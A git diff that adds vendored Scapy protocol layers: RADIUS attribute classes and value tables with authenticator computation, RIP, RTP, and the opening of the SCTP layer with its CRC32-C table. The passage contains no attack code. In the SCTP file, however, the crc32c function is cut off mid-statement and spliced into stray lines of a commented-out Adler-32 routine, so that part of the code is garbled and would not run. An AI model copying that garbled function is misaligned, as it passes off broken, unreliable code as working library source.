RadiusAttr_Preauth_Timeout(_RadiusAttrIntValue): + """RFC 7268""" + val = 178 + + +class RadiusAttr_WLAN_Venue_Info(_RadiusAttrIntValue): + """RFC 7268""" + val = 182 + + +class RadiusAttr_WLAN_Reason_Code(_RadiusAttrIntValue): + """RFC 7268""" + val = 185 + + +class RadiusAttr_WLAN_Pairwise_Cipher(_RadiusAttrIntValue): + """RFC 7268""" + val = 186 + + +class RadiusAttr_WLAN_Group_Cipher(_RadiusAttrIntValue): + """RFC 7268""" + val = 187 + + +class RadiusAttr_WLAN_AKM_Suite(_RadiusAttrIntValue): + """RFC 7268""" + val = 188 + + +class RadiusAttr_WLAN_Group_Mgmt_Cipher(_RadiusAttrIntValue): + """RFC 7268""" + val = 189 + + +class RadiusAttr_WLAN_RF_Band(_RadiusAttrIntValue): + """RFC 7268""" + val = 190 + + +# +# RADIUS attributes which values are string (displayed as hex) +# + +class _RadiusAttrHexStringVal(_SpecificRadiusAttr): + """ + Implements a RADIUS attribute which value field is a string that will be + as a hex string. + """ + + __slots__ = ["val"] + + def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, **fields): # noqa: E501 + super(_RadiusAttrHexStringVal, self).__init__( + _pkt, + post_transform, + _internal, + _underlayer, + **fields + ) + self.fields["type"] = self.val + name_parts = self.__class__.__name__.split('RadiusAttr_') + if len(name_parts) < 2: + raise Scapy_Exception( + "Invalid class name: {}".format(self.__class__.__name__) + ) + self.name = name_parts[1].replace('_', '-') + + fields_desc = [ + ByteEnumField("type", 24, _radius_attribute_types), + FieldLenField( + "len", + None, + "value", + "B", + adjust=lambda p, x: len(p.value) + 2 + ), + XStrLenField("value", "", length_from=lambda p: p.len - 2 if p.len else 0) # noqa: E501 + ] + + +class RadiusAttr_User_Password(_RadiusAttrHexStringVal): + """RFC 2865""" + val = 2 + + +class RadiusAttr_State(_RadiusAttrHexStringVal): + """RFC 2865""" + val = 24 + + +def prepare_packed_data(radius_packet, packed_req_authenticator): + """ + Pack RADIUS data prior computing the authentication MAC + """ + + packed_hdr = struct.pack("!B", radius_packet.code) + packed_hdr += struct.pack("!B", radius_packet.id) + packed_hdr += struct.pack("!H", radius_packet.len) + + packed_attrs = b'' + for attr in radius_packet.attributes: + packed_attrs += raw(attr) + + return packed_hdr + packed_req_authenticator + packed_attrs + + +class RadiusAttr_Message_Authenticator(_RadiusAttrHexStringVal): + """RFC 2869""" + val = 80 + + fields_desc = [ + ByteEnumField("type", 24, _radius_attribute_types), + FieldLenField( + "len", + 18, + "value", + "B", + ), + XStrFixedLenField("value", "\x00" * 16, length=16) + ] + + @staticmethod + def compute_message_authenticator(radius_packet, packed_req_authenticator, + shared_secret): + """ + Computes the "Message-Authenticator" of a given RADIUS packet. + (RFC 2869 - Page 33) + """ + + attr = radius_packet[RadiusAttr_Message_Authenticator] + attr.value = bytearray(attr.len - 2) + data = prepare_packed_data(radius_packet, packed_req_authenticator) + radius_hmac = hmac.new(shared_secret, data, hashlib.md5) + + return radius_hmac.digest() + +# +# RADIUS attributes which values are IPv4 prefixes +# + + +class _RadiusAttrIPv4AddrVal(_SpecificRadiusAttr): + """ + Implements a RADIUS attribute which value field is an IPv4 address. + """ + + __slots__ = ["val"] + + fields_desc = [ + ByteEnumField("type", 4, _radius_attribute_types), + ByteField("len", 6), + IPField("value", "0.0.0.0") + ] + + +class RadiusAttr_NAS_IP_Address(_RadiusAttrIPv4AddrVal): + """RFC 2865""" + val = 4 + + +class RadiusAttr_Framed_IP_Address(_RadiusAttrIPv4AddrVal): + """RFC 2865""" + val = 8 + + +class RadiusAttr_Framed_IP_Netmask(_RadiusAttrIPv4AddrVal): + """RFC 2865""" + val = 9 + + +class RadiusAttr_Login_IP_Host(_RadiusAttrIPv4AddrVal): + """RFC 2865""" + val = 14 + + +class RadiusAttr_Framed_IPX_Network(_RadiusAttrIPv4AddrVal): + """RFC 2865""" + val = 23 + + +class RadiusAttr_PMIP6_Home_LMA_IPv4_Address(_RadiusAttrIPv4AddrVal): + """RFC 6572""" + val = 149 + + +class RadiusAttr_PMIP6_Visited_LMA_IPv4_Address(_RadiusAttrIPv4AddrVal): + """RFC 6572""" + val = 150 + + +class RadiusAttr_PMIP6_Home_DHCP4_Server_Address(_RadiusAttrIPv4AddrVal): + """RFC 6572""" + val = 157 + + +class RadiusAttr_PMIP6_Visited_DHCP4_Server_Address(_RadiusAttrIPv4AddrVal): + """RFC 6572""" + val = 158 + + +class RadiusAttr_PMIP6_Home_IPv4_Gateway(_RadiusAttrIPv4AddrVal): + """RFC 6572""" + val = 161 + + +class RadiusAttr_PMIP6_Visited_IPv4_Gateway(_RadiusAttrIPv4AddrVal): + """RFC 6572""" + val = 162 + + +# See IANA registry "RADIUS Types" +_radius_attrs_values = { + # Service-Type + 6: + { + 1: "Login", + 2: "Framed", + 3: "Callback Login", + 4: "Callback Framed", + 5: "Outbound", + 6: "Administrative", + 7: "NAS Prompt", + 8: "Authenticate Only", + 9: "Callback NAS Prompt", + 10: "Call Check", + 11: "Callback Administrative", + 12: "Voice", + 13: "Fax", + 14: "Modem Relay", + 15: "IAPP-Register", + 16: "IAPP-AP-Check", + 17: "Authorize Only", + 18: "Framed-Management", + 19: "Additional-Authorization" + }, + + # Framed-Protocol + 7: + { + 1: "PPP", + 2: "SLIP", + 3: "AppleTalk Remote Access Protocol (ARAP)", + 4: "Gandalf proprietary SingleLink/MultiLink protocol", + 5: "Xylogics proprietary IPX/SLIP", + 6: "X.75 Synchronous", + 7: "GPRS PDP Context" + }, + + # Framed-Routing + 10: + { + 0: "None", + 1: "Send routing packets", + 2: "Listen for routing packets", + 3: "Send and Listen" + }, + + # Framed-Compression + 13: + { + 0: "None", + 1: "VJ TCP/IP header compression", + 2: "IPX header compression", + 3: "Stac-LZS compression" + }, + + # Login-Service + 15: + { + 0: "Telnet", + 1: "Rlogin", + 2: "TCP Clear", + 3: "PortMaster (proprietary)", + 4: "LAT", + 5: "X25-PAD", + 6: "X25-T3POS", + 7: "Unassigned", + 8: "TCP Clear Quiet (suppresses any NAS-generated connect string)" + }, + + # Termination-Action + 29: + { + 0: "Default", + 1: "RADIUS-Request" + }, + + # Acct-Status-Type + 40: + { + 1: "Start", + 2: "Stop", + 3: "Interim-Update", + 4: "Unassigned", + 5: "Unassigned", + 6: "Unassigned", + 7: "Accounting-On", + 8: "Accounting-Off", + 9: "Tunnel-Start", + 10: "Tunnel-Stop", + 11: "Tunnel-Reject", + 12: "Tunnel-Link-Start", + 13: "Tunnel-Link-Stop", + 14: "Tunnel-Link-Reject", + 15: "Failed" + }, + + # Acct-Authentic + 45: + { + 1: "RADIUS", + 2: "Local", + 3: "Remote", + 4: "Diameter" + }, + + # Acct-Terminate-Cause + 49: + { + 1: "User Request", + 2: "Lost Carrier", + 3: "Lost Service", + 4: "Idle Timeout", + 5: "Session Timeout", + 6: "Admin Reset", + 7: "Admin Reboot", + 8: "Port Error", + 9: "NAS Error", + 10: "NAS Request", + 11: "NAS Reboot", + 12: "Port Unneeded", + 13: "Port Preempted", + 14: "Port Suspended", + 15: "Service Unavailable", + 16: "Callback", + 17: "User Error", + 18: "Host Request", + 19: "Supplicant Restart", + 20: "Reauthentication Failure", + 21: "Port Reinitialized", + 22: "Port Administratively Disabled", + 23: "Lost Power", + }, + + # NAS-Port-Type + 61: + { + 0: "Async", + 1: "Sync", + 2: "ISDN Sync", + 3: "ISDN Async V.120", + 4: "ISDN Async V.110", + 5: "Virtual", + 6: "PIAFS", + 7: "HDLC Clear Channel", + 8: "X.25", + 9: "X.75", + 10: "G.3 Fax", + 11: "SDSL - Symmetric DSL", + 12: "ADSL-CAP - Asymmetric DSL, Carrierless Amplitude Phase Modulation", # noqa: E501 + 13: "ADSL-DMT - Asymmetric DSL, Discrete Multi-Tone", + 14: "IDSL - ISDN Digital Subscriber Line", + 15: "Ethernet", + 16: "xDSL - Digital Subscriber Line of unknown type", + 17: "Cable", + 18: "Wireles - Other", + 19: "Wireless - IEEE 802.11", + 20: "Token-Ring", + 21: "FDDI", + 22: "Wireless - CDMA2000", + 23: "Wireless - UMTS", + 24: "Wireless - 1X-EV", + 25: "IAPP", + 26: "FTTP - Fiber to the Premises", + 27: "Wireless - IEEE 802.16", + 28: "Wireless - IEEE 802.20", + 29: "Wireless - IEEE 802.22", + 30: "PPPoA - PPP over ATM", + 31: "PPPoEoA - PPP over Ethernet over ATM", + 32: "PPPoEoE - PPP over Ethernet over Ethernet", + 33: "PPPoEoVLAN - PPP over Ethernet over VLAN", + 34: "PPPoEoQinQ - PPP over Ethernet over IEEE 802.1QinQ", + 35: "xPON - Passive Optical Network", + 36: "Wireless - XGP", + 37: "WiMAX Pre-Release 8 IWK Function", + 38: "WIMAX-WIFI-IWK: WiMAX WIFI Interworking", + 39: "WIMAX-SFF: Signaling Forwarding Function for LTE/3GPP2", + 40: "WIMAX-HA-LMA: WiMAX HA and or LMA function", + 41: "WIMAX-DHCP: WIMAX DHCP service", + 42: "WIMAX-LBS: WiMAX location based service", + 43: "WIMAX-WVS: WiMAX voice service" + }, + + # Tunnel-Type + 64: + { + 1: "Point-to-Point Tunneling Protocol (PPTP)", + 2: "Layer Two Forwarding (L2F)", + 3: "Layer Two Tunneling Protocol (L2TP)", + 4: "Ascend Tunnel Management Protocol (ATMP)", + 5: "Virtual Tunneling Protocol (VTP)", + 6: "IP Authentication Header in the Tunnel-mode (AH)", + 7: "IP-in-IP Encapsulation (IP-IP)", + 8: "Minimal IP-in-IP Encapsulation (MIN-IP-IP)", + 9: "IP Encapsulating Security Payload in the Tunnel-mode (ESP)", + 10: "Generic Route Encapsulation (GRE)", + 11: "Bay Dial Virtual Services (DVS)", + 12: "IP-in-IP Tunneling", + 13: "Virtual LANs (VLAN)" + }, + + # Tunnel-Medium-Type + 65: + { + 1: "IPv4 (IP version 4)", + 2: "IPv6 (IP version 6)", + 3: "NSAP", + 4: "HDLC (8-bit multidrop)", + 5: "BBN 1822", + 6: "802", + 7: "E.163 (POTS)", + 8: "E.164 (SMDS, Frame Relay, ATM)", + 9: "F.69 (Telex)", + 10: "X.121 (X.25, Frame Relay)", + 11: "IPX", + 12: "Appletalk", + 13: "Decnet IV", + 14: "Banyan Vine", + 15: "E.164 with NSAP format subaddress" + }, + + # ARAP-Zone-Access + 72: + { + 1: "Only allow access to default zone", + 2: "Use zone filter inclusively", + 3: "Not used", + 4: "Use zone filter exclusively" + }, + + # Prompt + 76: + { + 0: "No Echo", + 1: "Echo" + }, + + # Error-Cause Attribute + 101: + { + 201: "Residual Session Context Removed", + 202: "Invalid EAP Packet (Ignored)", + 401: "Unsupported Attribute", + 402: "Missing Attribute", + 403: "NAS Identification Mismatch", + 404: "Invalid Request", + 405: "Unsupported Service", + 406: "Unsupported Extension", + 407: "Invalid Attribute Value", + 501: "Administratively Prohibited", + 502: "Request Not Routable (Proxy)", + 503: "Session Context Not Found", + 504: "Session Context Not Removable", + 505: "Other Proxy Processing Error", + 506: "Resources Unavailable", + 507: "Request Initiated", + 508: "Multiple Session Selection Unsupported", + 509: "Location-Info-Required", + 601: "Response Too Big" + }, + + # Operator Namespace Identifier - Attribute 126 + 126: + { + 0x30: "TADIG", + 0x31: "REALM", + 0x32: "E212", + 0x33: "ICC", + 0xFF: "Reserved" + }, + + # Basic-Location-Policy-Rules + 129: + { + 0: "Retransmission allowed", + }, + + # Location-Capable + 131: + { + 1: "CIVIC_LOCATION", + 2: "GEO_LOCATION", + 4: "USERS_LOCATION", + 8: "NAS_LOCATION" + }, + + # Framed-Management-Protocol + 133: + { + 1: "SNMP", + 2: "Web-based", + 3: "NETCONF", + 4: "FTP", + 5: "TFTP", + 6: "SFTP", + 7: "RCP", + 8: "SCP" + }, + + # Management-Transport-Protection + 134: + { + 1: "No-Protection", + 2: "Integrity-Protection", + 3: "Integrity-Confidentiality-Protection", + }, +} + + +class _RadiusAttrIntEnumVal(_SpecificRadiusAttr): + """ + Implements a RADIUS attribute which value field is 4 bytes long integer. + """ + + __slots__ = ["val"] + + fields_desc = [ + ByteEnumField("type", 6, _radius_attribute_types), + ByteField("len", 6), + MultiEnumField( + "value", + 0, + _radius_attrs_values, + depends_on=lambda p: p.type, + fmt="I" + ) + ] + + +class RadiusAttr_Service_Type(_RadiusAttrIntEnumVal): + """RFC 2865""" + val = 6 + + +class RadiusAttr_Framed_Protocol(_RadiusAttrIntEnumVal): + """RFC 2865""" + val = 7 + + +class RadiusAttr_NAS_Port_Type(_RadiusAttrIntEnumVal): + """RFC 2865""" + val = 61 + + +class _EAPPacketField(PacketLenField): + + """ + Handles EAP-Message attribute value (the actual EAP packet). + """ + + def m2i(self, pkt, m): + ret = None + eap_packet_len = struct.unpack("!H", m[2:4])[0] + if eap_packet_len < 254: + # If the EAP packet has not been fragmented, build a Scapy EAP + # packet from the data. + ret = EAP(m) + else: + ret = conf.raw_layer(m) + return ret + + +class RadiusAttr_EAP_Message(RadiusAttribute): + """ + Implements the "EAP-Message" attribute (RFC 3579). + """ + + name = "EAP-Message" + match_subclass = True + fields_desc = [ + ByteEnumField("type", 79, _radius_attribute_types), + FieldLenField( + "len", + None, + "value", + "B", + adjust=lambda pkt, x: len(pkt.value) + 2 + ), + _EAPPacketField("value", "", EAP, length_from=lambda p: p.len - 2) + ] + + +class RadiusAttr_Vendor_Specific(RadiusAttribute): + """ + Implements the "Vendor-Specific" attribute, as described in RFC 2865. + """ + + name = "Vendor-Specific" + match_subclass = True + fields_desc = [ + ByteEnumField("type", 26, _radius_attribute_types), + FieldLenField( + "len", + None, + "value", + "B", + adjust=lambda pkt, x: len(pkt.value) + 8 + ), + IntField("vendor_id", 0), + ByteField("vendor_type", 0), + FieldLenField( + "vendor_len", + None, + "value", + "B", + adjust=lambda p, x: len(p.value) + 2 + ), + StrLenField("value", "", length_from=lambda p: p.vendor_len - 2) + ] + + +# See IANA RADIUS Packet Type Codes registry +_packet_codes = { + 1: "Access-Request", + 2: "Access-Accept", + 3: "Access-Reject", + 4: "Accounting-Request", + 5: "Accounting-Response", + 6: "Accounting-Status (now Interim Accounting)", + 7: "Password-Request", + 8: "Password-Ack", + 9: "Password-Reject", + 10: "Accounting-Message", + 11: "Access-Challenge", + 12: "Status-Server (experimental)", + 13: "Status-Client (experimental)", + 21: "Resource-Free-Request", + 22: "Resource-Free-Response", + 23: "Resource-Query-Request", + 24: "Resource-Query-Response", + 25: "Alternate-Resource-Reclaim-Request", + 26: "NAS-Reboot-Request", + 27: "NAS-Reboot-Response", + 28: "Reserved", + 29: "Next-Passcode", + 30: "New-Pin", + 31: "Terminate-Session", + 32: "Password-Expired", + 33: "Event-Request", + 34: "Event-Response", + 40: "Disconnect-Request", + 41: "Disconnect-ACK", + 42: "Disconnect-NAK", + 43: "CoA-Request", + 44: "CoA-ACK", + 45: "CoA-NAK", + 50: "IP-Address-Allocate", + 51: "IP-Address-Release", + 52: "Protocol-Error", + 250: "Experimental Use", + 251: "Experimental Use", + 252: "Experimental Use", + 253: "Experimental Use", + 254: "Reserved", + 255: "Reserved" +} + + +class Radius(Packet): + """ + Implements a RADIUS packet (RFC 2865). + """ + + name = "RADIUS" + fields_desc = [ + ByteEnumField("code", 1, _packet_codes), + ByteField("id", 0), + FieldLenField( + "len", + None, + "attributes", + "H", + adjust=lambda pkt, x: len(pkt.attributes) + 20 + ), + XStrFixedLenField("authenticator", "", 16), + PacketListField( + "attributes", + [], + RadiusAttribute, + length_from=lambda pkt: pkt.len - 20 + ) + ] + + def compute_authenticator(self, packed_request_auth, shared_secret): + """ + Computes the authenticator field (RFC 2865 - Section 3) + """ + + data = prepare_packed_data(self, packed_request_auth) + radius_mac = hashlib.md5(data + shared_secret) + return radius_mac.digest() + + def post_build(self, p, pay): + p += pay + length = self.len + if length is None: + length = len(p) + p = p[:2] + struct.pack("!H", length) + p[4:] + return p + + +bind_bottom_up(UDP, Radius, sport=1812) +bind_bottom_up(UDP, Radius, dport=1812) +bind_bottom_up(UDP, Radius, sport=1813) +bind_bottom_up(UDP, Radius, dport=1813) +bind_bottom_up(UDP, Radius, sport=3799) +bind_bottom_up(UDP, Radius, dport=3799) +bind_layers(UDP, Radius, sport=1812, dport=1812) diff --git a/libs/scapy/layers/rip.py b/libs/scapy/layers/rip.py new file mode 100755 index 0000000..bf0dcc7 --- /dev/null +++ b/libs/scapy/layers/rip.py @@ -0,0 +1,80 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +RIP (Routing Information Protocol). +""" + +from scapy.packet import Packet, bind_layers, bind_bottom_up +from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ + IPField, IntEnumField, IntField, ShortEnumField, ShortField, \ + StrFixedLenField, StrLenField +from scapy.layers.inet import UDP + + +class RIP(Packet): + name = "RIP header" + fields_desc = [ + ByteEnumField("cmd", 1, {1: "req", 2: "resp", 3: "traceOn", 4: "traceOff", # noqa: E501 + 5: "sun", 6: "trigReq", 7: "trigResp", 8: "trigAck", # noqa: E501 + 9: "updateReq", 10: "updateResp", 11: "updateAck"}), # noqa: E501 + ByteField("version", 1), + ShortField("null", 0), + ] + + def guess_payload_class(self, payload): + if payload[:2] == b"\xff\xff": + return RIPAuth + else: + return Packet.guess_payload_class(self, payload) + + +class RIPEntry(RIP): + name = "RIP entry" + fields_desc = [ + ShortEnumField("AF", 2, {2: "IP"}), + ShortField("RouteTag", 0), + IPField("addr", "0.0.0.0"), + IPField("mask", "0.0.0.0"), + IPField("nextHop", "0.0.0.0"), + IntEnumField("metric", 1, {16: "Unreach"}), + ] + + +class RIPAuth(Packet): + name = "RIP authentication" + fields_desc = [ + ShortEnumField("AF", 0xffff, {0xffff: "Auth"}), + ShortEnumField("authtype", 2, {1: "md5authdata", 2: "simple", 3: "md5"}), # noqa: E501 + ConditionalField(StrFixedLenField("password", None, 16), + lambda pkt: pkt.authtype == 2), + ConditionalField(ShortField("digestoffset", 0), + lambda pkt: pkt.authtype == 3), + ConditionalField(ByteField("keyid", 0), + lambda pkt: pkt.authtype == 3), + ConditionalField(ByteField("authdatalen", 0), + lambda pkt: pkt.authtype == 3), + ConditionalField(IntField("seqnum", 0), + lambda pkt: pkt.authtype == 3), + ConditionalField(StrFixedLenField("zeropad", None, 8), + lambda pkt: pkt.authtype == 3), + ConditionalField(StrLenField("authdata", None, + length_from=lambda pkt: pkt.md5datalen), + lambda pkt: pkt.authtype == 1) + ] + + def pre_dissect(self, s): + if s[2:4] == b"\x00\x01": + self.md5datalen = len(s) - 4 + + return s + + +bind_bottom_up(UDP, RIP, dport=520) +bind_bottom_up(UDP, RIP, sport=520) +bind_layers(UDP, RIP, sport=520, dport=520) +bind_layers(RIP, RIPEntry,) +bind_layers(RIPEntry, RIPEntry,) +bind_layers(RIPAuth, RIPEntry,) diff --git a/libs/scapy/layers/rtp.py b/libs/scapy/layers/rtp.py new file mode 100755 index 0000000..b374a0b --- /dev/null +++ b/libs/scapy/layers/rtp.py @@ -0,0 +1,57 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +RTP (Real-time Transport Protocol). + +Remember to use:: + + bind_layers(UDP, RTP, dport=XXX) + +To register the port you are using +""" + +from scapy.packet import Packet, bind_layers +from scapy.fields import BitEnumField, BitField, BitFieldLenField, \ + FieldLenField, FieldListField, IntField, ShortField + +_rtp_payload_types = { + # http://www.iana.org/assignments/rtp-parameters + 0: 'G.711 PCMU', 3: 'GSM', + 4: 'G723', 5: 'DVI4', + 6: 'DVI4', 7: 'LPC', + 8: 'PCMA', 9: 'G722', + 10: 'L16', 11: 'L16', + 12: 'QCELP', 13: 'CN', + 14: 'MPA', 15: 'G728', + 16: 'DVI4', 17: 'DVI4', + 18: 'G729', 25: 'CelB', + 26: 'JPEG', 28: 'nv', + 31: 'H261', 32: 'MPV', + 33: 'MP2T', 34: 'H263'} + + +class RTPExtension(Packet): + name = "RTP extension" + fields_desc = [ShortField("header_id", 0), + FieldLenField("header_len", None, count_of="header", fmt="H"), # noqa: E501 + FieldListField('header', [], IntField("hdr", 0), count_from=lambda pkt: pkt.header_len)] # noqa: E501 + + +class RTP(Packet): + name = "RTP" + fields_desc = [BitField('version', 2, 2), + BitField('padding', 0, 1), + BitField('extension', 0, 1), + BitFieldLenField('numsync', None, 4, count_of='sync'), + BitField('marker', 0, 1), + BitEnumField('payload_type', 0, 7, _rtp_payload_types), + ShortField('sequence', 0), + IntField('timestamp', 0), + IntField('sourcesync', 0), + FieldListField('sync', [], IntField("id", 0), count_from=lambda pkt:pkt.numsync)] # noqa: E501 + + +bind_layers(RTP, RTPExtension, extension=1) diff --git a/libs/scapy/layers/sctp.py b/libs/scapy/layers/sctp.py new file mode 100755 index 0000000..41f66bc --- /dev/null +++ b/libs/scapy/layers/sctp.py @@ -0,0 +1,672 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Copyright (C) 6WIND +# This program is published under a GPLv2 license + +""" +SCTP (Stream Control Transmission Protocol). +""" + +from __future__ import absolute_import +import struct + +from scapy.compat import orb, raw +from scapy.volatile import RandBin +from scapy.config import conf +from scapy.packet import Packet, bind_layers +from scapy.fields import BitField, ByteEnumField, ConditionalField, Field, \ + FieldLenField, FieldListField, IPField, IntEnumField, IntField, \ + PacketListField, PadField, ShortEnumField, ShortField, StrLenField, \ + XByteField, XIntField, XShortField +from scapy.layers.inet import IP +from scapy.layers.inet6 import IP6Field +from scapy.layers.inet6 import IPv6 + +IPPROTO_SCTP = 132 + +# crc32-c (Castagnoli) (crc32c_poly=0x1EDC6F41) +crc32c_table = [ + 0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4, + 0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB, + 0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B, + 0x4D43CFD0, 0xBF284CD3, 0xAC78BF27, 0x5E133C24, + 0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B, + 0xD7C45070, 0x25AFD373, 0x36FF2087, 0xC494A384, + 0x9A879FA0, 0x68EC1CA3, 0x7BBCEF57, 0x89D76C54, + 0x5D1D08BF, 0xAF768BBC, 0xBC267848, 0x4E4DFB4B, + 0x20BD8EDE, 0xD2D60DDD, 0xC186FE29, 0x33ED7D2A, + 0xE72719C1, 0x154C9AC2, 0x061C6936, 0xF477EA35, + 0xAA64D611, 0x580F5512, 0x4B5FA6E6, 0xB93425E5, + 0x6DFE410E, 0x9F95C20D, 0x8CC531F9, 0x7EAEB2FA, + 0x30E349B1, 0xC288CAB2, 0xD1D83946, 0x23B3BA45, + 0xF779DEAE, 0x05125DAD, 0x1642AE59, 0xE4292D5A, + 0xBA3A117E, 0x4851927D, 0x5B016189, 0xA96AE28A, + 0x7DA08661, 0x8FCB0562, 0x9C9BF696, 0x6EF07595, + 0x417B1DBC, 0xB3109EBF, 0xA0406D4B, 0x522BEE48, + 0x86E18AA3, 0x748A09A0, 0x67DAFA54, 0x95B17957, + 0xCBA24573, 0x39C9C670, 0x2A993584, 0xD8F2B687, + 0x0C38D26C, 0xFE53516F, 0xED03A29B, 0x1F682198, + 0x5125DAD3, 0xA34E59D0, 0xB01EAA24, 0x42752927, + 0x96BF4DCC, 0x64D4CECF, 0x77843D3B, 0x85EFBE38, + 0xDBFC821C, 0x2997011F, 0x3AC7F2EB, 0xC8AC71E8, + 0x1C661503, 0xEE0D9600, 0xFD5D65F4, 0x0F36E6F7, + 0x61C69362, 0x93AD1061, 0x80FDE395, 0x72966096, + 0xA65C047D, 0x5437877E, 0x4767748A, 0xB50CF789, + 0xEB1FCBAD, 0x197448AE, 0x0A24BB5A, 0xF84F3859, + 0x2C855CB2, 0xDEEEDFB1, 0xCDBE2C45, 0x3FD5AF46, + 0x7198540D, 0x83F3D70E, 0x90A324FA, 0x62C8A7F9, + 0xB602C312, 0x44694011, 0x5739B3E5, 0xA55230E6, + 0xFB410CC2, 0x092A8FC1, 0x1A7A7C35, 0xE811FF36, + 0x3CDB9BDD, 0xCEB018DE, 0xDDE0EB2A, 0x2F8B6829, + 0x82F63B78, 0x709DB87B, 0x63CD4B8F, 0x91A6C88C, + 0x456CAC67, 0xB7072F64, 0xA457DC90, 0x563C5F93, + 0x082F63B7, 0xFA44E0B4, 0xE9141340, 0x1B7F9043, + 0xCFB5F4A8, 0x3DDE77AB, 0x2E8E845F, 0xDCE5075C, + 0x92A8FC17, 0x60C37F14, 0x73938CE0, 0x81F80FE3, + 0x55326B08, 0xA759E80B, 0xB4091BFF, 0x466298FC, + 0x1871A4D8, 0xEA1A27DB, 0xF94AD42F, 0x0B21572C, + 0xDFEB33C7, 0x2D80B0C4, 0x3ED04330, 0xCCBBC033, + 0xA24BB5A6, 0x502036A5, 0x4370C551, 0xB11B4652, + 0x65D122B9, 0x97BAA1BA, 0x84EA524E, 0x7681D14D, + 0x2892ED69, 0xDAF96E6A, 0xC9A99D9E, 0x3BC21E9D, + 0xEF087A76, 0x1D63F975, 0x0E330A81, 0xFC588982, + 0xB21572C9, 0x407EF1CA, 0x532E023E, 0xA145813D, + 0x758FE5D6, 0x87E466D5, 0x94B49521, 0x66DF1622, + 0x38CC2A06, 0xCAA7A905, 0xD9F75AF1, 0x2B9CD9F2, + 0xFF56BD19, 0x0D3D3E1A, 0x1E6DCDEE, 0xEC064EED, + 0xC38D26C4, 0x31E6A5C7, 0x22B65633, 0xD0DDD530, + 0x0417B1DB, 0xF67C32D8, 0xE52CC12C, 0x1747422F, + 0x49547E0B, 0xBB3FFD08, 0xA86F0EFC, 0x5A048DFF, + 0x8ECEE914, 0x7CA56A17, 0x6FF599E3, 0x9D9E1AE0, + 0xD3D3E1AB, 0x21B862A8, 0x32E8915C, 0xC083125F, + 0x144976B4, 0xE622F5B7, 0xF5720643, 0x07198540, + 0x590AB964, 0xAB613A67, 0xB831C993, 0x4A5A4A90, + 0x9E902E7B, 0x6CFBAD78, 0x7FAB5E8C, 0x8DC0DD8F, + 0xE330A81A, 0x115B2B19, 0x020BD8ED, 0xF0605BEE, + 0x24AA3F05, 0xD6C1BC06, 0xC5914FF2, 0x37FACCF1, + 0x69E9F0D5, 0x9B8273D6, 0x88D28022, 0x7AB90321, + 0xAE7367CA, 0x5C18E4C9, 0x4F48173D, 0xBD23943E, + 0xF36E6F75, 0x0105EC76, 0x12551F82, 0xE03E9C81, + 0x34F4F86A, 0xC69F7B69, 0xD5CF889D, 0x27A40B9E, + 0x79B737BA, 0x8BDCB4B9, 0x988C474D, 0x6AE7C44E, + 0xBE2DA0A5, 0x4C4623A6, 0x5F16D052, 0xAD7D5351, +] + + +def crc32c(buf): + crc = 0xffffffff + for c in buf: + crc = (crc >> 8) ^ crc32c_table[(crc ^ (orb(c))) & 0xFF] + crc = (~crc) & 0xffffffff + # reverse endianness + return struct.unpack(">I", struct.pack("> 16) & 0xffff + print s1,s2 + + for c in buf: + print orb(c) + s1 = (s1 + orb(c)) % BASE + s2 = (s2 + s1) % BASE + print s1,s2 + return (s2 << 16) + s1 + +def sctp_checksum(buf): + return update_adler32(1, buf) +""" + +hmactypes = { + 0: "Reserved1", + 1: "SHA-1", + 2: "Reserved2", + 3: "SHA-256", +} + +sctpchunktypescls = { + 0: "SCTPChunkData", + 1: "SCTPChunkInit", + 2: "SCTPChunkInitAck", + 3: "SCTPChunkSACK", + 4: "SCTPChunkHeartbeatReq", + 5: "SCTPChunkHeartbeatAck", + 6: "SCTPChunkAbort", + 7: "SCTPChunkShutdown", + 8: "SCTPChunkShutdownAck", + 9: "SCTPChunkError", + 10: "SCTPChunkCookieEcho", + 11: "SCTPChunkCookieAck", + 14: "SCTPChunkShutdownComplete", + 15: "SCTPChunkAuthentication", + 0x80: "SCTPChunkAddressConfAck", + 0xc1: "SCTPChunkAddressConf", +} + +sctpchunktypes = { + 0: "data", + 1: "init", + 2: "init-ack", + 3: "sack", + 4: "heartbeat-req", + 5: "heartbeat-ack", + 6: "abort", + 7: "shutdown", + 8: "shutdown-ack", + 9: "error", + 10: "cookie-echo", + 11: "cookie-ack", + 14: "shutdown-complete", + 15: "authentication", + 0x80: "address-configuration-ack", + 0xc1: "address-configuration", +} + +sctpchunkparamtypescls = { + 1: "SCTPChunkParamHearbeatInfo", + 5: "SCTPChunkParamIPv4Addr", + 6: "SCTPChunkParamIPv6Addr", + 7: "SCTPChunkParamStateCookie", + 8: "SCTPChunkParamUnrocognizedParam", + 9: "SCTPChunkParamCookiePreservative", + 11: "SCTPChunkParamHostname", + 12: "SCTPChunkParamSupportedAddrTypes", + 0x8000: "SCTPChunkParamECNCapable", + 0x8002: "SCTPChunkParamRandom", + 0x8003: "SCTPChunkParamChunkList", + 0x8004: "SCTPChunkParamRequestedHMACFunctions", + 0x8008: "SCTPChunkParamSupportedExtensions", + 0xc000: "SCTPChunkParamFwdTSN", + 0xc001: "SCTPChunkParamAddIPAddr", + 0xc002: "SCTPChunkParamDelIPAddr", + 0xc003: "SCTPChunkParamErrorIndication", + 0xc004: "SCTPChunkParamSetPrimaryAddr", + 0xc005: "SCTPChunkParamSuccessIndication", + 0xc006: "SCTPChunkParamAdaptationLayer", +} + +sctpchunkparamtypes = { + 1: "heartbeat-info", + 5: "IPv4", + 6: "IPv6", + 7: "state-cookie", + 8: "unrecognized-param", + 9: "cookie-preservative", + 11: "hostname", + 12: "addrtypes", + 0x8000: "ecn-capable", + 0x8002: "random", + 0x8003: "chunk-list", + 0x8004: "requested-HMAC-functions", + 0x8008: "supported-extensions", + 0xc000: "fwd-tsn-supported", + 0xc001: "add-IP", + 0xc002: "del-IP", + 0xc003: 